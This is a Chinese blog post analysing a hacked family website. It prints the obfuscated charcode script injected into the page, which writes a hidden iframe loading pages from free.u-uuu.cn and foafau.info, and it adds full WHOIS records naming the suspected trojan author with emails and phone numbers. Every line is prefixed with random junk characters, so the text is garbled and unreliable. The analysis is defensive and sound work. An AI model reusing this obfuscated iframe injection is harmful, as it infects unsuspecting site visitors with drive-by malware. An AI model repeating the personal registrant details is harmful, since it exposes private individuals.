首发在我的博客里面，
=@>[ ggUJ -M'2h http://www.areway.cn/?p=175 fK|F`F2V fN TPW] NQ@."8 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
RvF6bIqo T.zU erbO <script>t=’60,105,102,114,97,109,101,
%Ln7{w 32,115,114,99,61,104,116,116,112,58,47,47,
Y|=/*?o} 102,114,101,101,46,117,45,117,117,117,46,99,
t F<|Eja * 110,47,101,114,114,111,114,46,104,116,109,
q|.
X[~e| 32,119,105,100,116,104,61,49,48,48,32,104,
FU|c[u|z 101,105,103,104,116,61,48,62,60,47,105,102,
%K_[Bx{B 114,97,109,101,62′;
8ctUK| t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Yl+r>+^ W|@/<K$V <script>t=’60,105,102,114,97,109,101,32,115,
{Ah\ -{] 114,99,61,104,116,116,112,58,47,47,102,114,
r~uWr'}a} 101,101,46,117,45,117,117,117,46,99,110,47,
GyOo$FW 101,114,114,111,114,46,104,116,109,32,119,
Cu0N/hBT 105,100,116,104,61,49,48,48,32,104,101,105,
3!0E h8ncI 103,104,116,61,48,62,60,47,105,102,114,97,
F~dq7 AS 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
~)# JwY document.write(t);</script>
+`==US34 0FF x <html xmlns=”
E{ *~>#+ http://www.w3.org/1999/xhtml <[2 ]p\rj “>
eM*@zo<- <head>
j|&?BBa9 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
shwKB 5 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
f#a ~av9rC <title>首页 - 爱生活家庭网
VGY#ph% 1Ig@ gdmz 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
j1)HIQE|5f 转换字符串后的大概内容是（谁点击后果自付）：
RbJ,J)C> <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
A|V
|vT7cb hmOhXE[ a& 查询玉米u-uuu.cn的详细信息：
?3"bu$@8 Domain Name: u-uuu.cn
P"%i 4-S ROID: 20070901s10001s64972306-cn
"]ow1{ Domain Status: ok
-So&?3,\A@ Registrant Organization: 王雷
'~ 3a(1@8 Registrant Name: 王雷
`}KK@ (Y Administrative Email:
czlovexs@126.com gd6We)& Sponsoring Registrar: 北京万网志成科技有限公司
L\8 tqy. Name Server:ns.yovole.com
~\c]!%)o Name Server:ns1.yovole.com
qTnfiYG} Registration Date: 2007-09-01 17:54
X 5 LI Expiration Date: 2008-09-01 17:54
z./ M^7v? 最后PING了一下地址 都没有什么….
;6I{7[ UDHk@M 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
|* 0oz= <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
5r qjqfFa <script language=”javascript” src=”
*s/sF@8<X http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script "PBUyh-Z >
'g8~539{& 这个玉米应该有可能是木马作者的：
SnRTC<DDh foafau.info的详细信息：
^IuHc_ Access to INFO WHOIS information is provided to assist persons in
xNTO59Y -s determining the contents of a domain name registration record in the
n`T
4aDm Afilias registry database. The data in this record is provided by
2+Z2`k]AC Afilias Limited for informational purposes only, and Afilias does not
iKa}@U guarantee its accuracy. This service is intended only for query-based
t nz
BNW8 access. You agree that you will use this data only for lawful purposes
O^I~d{M 5I and that, under no circumstances will you use this data to: (a) allow,
,qak_bP enable, or otherwise support the transmission by e-mail, telephone, or
& E$jAqc facsimile of mass unsolicited, commercial advertising or solicitations
6>)]7(B<d to entities other than the data recipient’s own existing customers; or
YBN.
waL (b) enable high volume, automated, electronic processes that send
pO$`(+q[ queries or data to the systems of Registry Operator, a Registrar, or
0s:MEX6w| Afilias except as reasonably necessary to register domain names or
dZm>LVjG modify existing registrations. All rights reserved. Afilias reserves
nJny9g the right to modify these terms at any time. By submitting this query,
FS r`Y you agree to abide by this policy.
^9o;=!D!9 Domain ID:D22418703-LRMS
I.j`h2 Domain Name:FOAFAU.INFO
pr.Vfb Created On:20-Nov-2007 16:05:42 UTC
m,v"N%k, Last Updated On:20-Nov-2007 16:05:44 UTC
G6xdGUM Expiration Date:20-Nov-2008 16:05:42 UTC
TS muNCR Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
eP-q[U?$n Status:CLIENT DELETE PROHIBITED
-c!{';Zn Status:CLIENT RENEW PROHIBITED
Y' -BKZv! Status:CLIENT TRANSFER PROHIBITED
^:K"Tv.= Status:CLIENT UPDATE PROHIBITED
Z mF}pa,gd Status:TRANSFER PROHIBITED
O,ZvV3 Registrant ID:GODA-040110615
%-|Po:6 Registrant Name:liu hong
OC9_EP\" Registrant Organization:
!SIGzj Registrant Street1:beijing
AZxx%6 Registrant Street2:
w-R>g dm Registrant Street3:
q [Hx y Registrant City:beijing
Nhn5 iN1* Registrant State/Province:
'5KgR K" Registrant Postal Code:100000
EXg\a#4[' Registrant Country:CN
s,N%sO; Registrant Phone:+86.860108888777
to^ &: Registrant Phone Ext.:
3@ ?#4]D{' Registrant FAX:
,)XT;iGQe Registrant FAX Ext.:
Y:]~~-f\~ Registrant Email:bbbshiji@163.com
I@a7AuOw Admin ID:GODA-240110615
ZPn`.Qc Admin Name:liu hong
]v@#3,BV Admin Organization:
q(e&{pbM) Admin Street1:beijing
C<2vuZD Admin Street2:
X^#48*"a Admin Street3:
0]{h,W3]@[ Admin City:beijing
@"-<m|lM Admin State/Province:
%xf6 U>T Admin Postal Code:100000
4s~Y qP{K Admin Country:CN
uh%%MhTjv Admin Phone:+86.860108888777
(1fE^KF@f Admin Phone Ext.:
G5E03x vL Admin FAX:
JJ q= {; Admin FAX Ext.:
;_M .(8L Admin Email:bbbshiji@163.com
n[CESo%[ Billing ID:GODA-340110615
p-UACMN& c Billing Name:liu hong
W+&ZYN 'E Billing Organization:
Vp\BNq_!s Billing Street1:beijing
D| ,d _W Billing Street2:
V{@<Z8s W# Billing Street3:
B KIA c6 Billing City:beijing
"{&\ nt Billing State/Province:
eHi|_3A&* Billing Postal Code:100000
mKtZ@r )u Billing Country:CN
>IC.Zt@ Billing Phone:+86.860108888777
P49lE Billing Phone Ext.:
N TuS(7m Billing FAX:
bS<lB! Billing FAX Ext.:
lz
EF^6I Billing Email:bbbshiji@163.com
6gJy<a3 Tech ID:GODA-140110615
`&b 8wF Tech Name:liu hong
7 w_`<b6 Tech Organization:
j./ 3 ) Tech Street1:beijing
$[}31=0 Tech Street2:
.JZoZ.FAb Tech Street3:
` {CaJ6. Tech City:beijing
n`? j.
s Tech State/Province:
sAfSI<L_ Tech Postal Code:100000
l.\Fr+*ej Tech Country:CN
Cq ?l> Tech Phone:+86.860108888777
wy <m&M<Gr Tech Phone Ext.:
pMYEL Tech FAX:
Fd2Eq&:en$ Tech FAX Ext.:
HlBw:D(z:^ Tech Email:bbbshiji@163.com
/_l%Dm? Name Server:NS27.DOMAINCONTROL.COM
Z$ kff-Y4 Name Server:NS28.DOMAINCONTROL.COM
OqtQLqN Name Server:
R8F[
7&( Name Server:
Y2!OJuy Gc Name Server:
j?29_Az Name Server:
1]aM)} , Name Server:
mQ tGE[ Name Server:
^E8&!s Name Server:
oU% rP Name Server:
.%<oy"_ Name Server:
X{P_ HCd Name Server:
ez&v"J Name Server:
!>Db S fyZ,0 接着下载每个文件里面的代码：
)TFaG[tj 一步一步看..
n'v[[ bmu 
[MdVgJ9' 
HvN!_}[ 
_-x|g~pV* 
}RYr) 
Zk"'x,]# 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
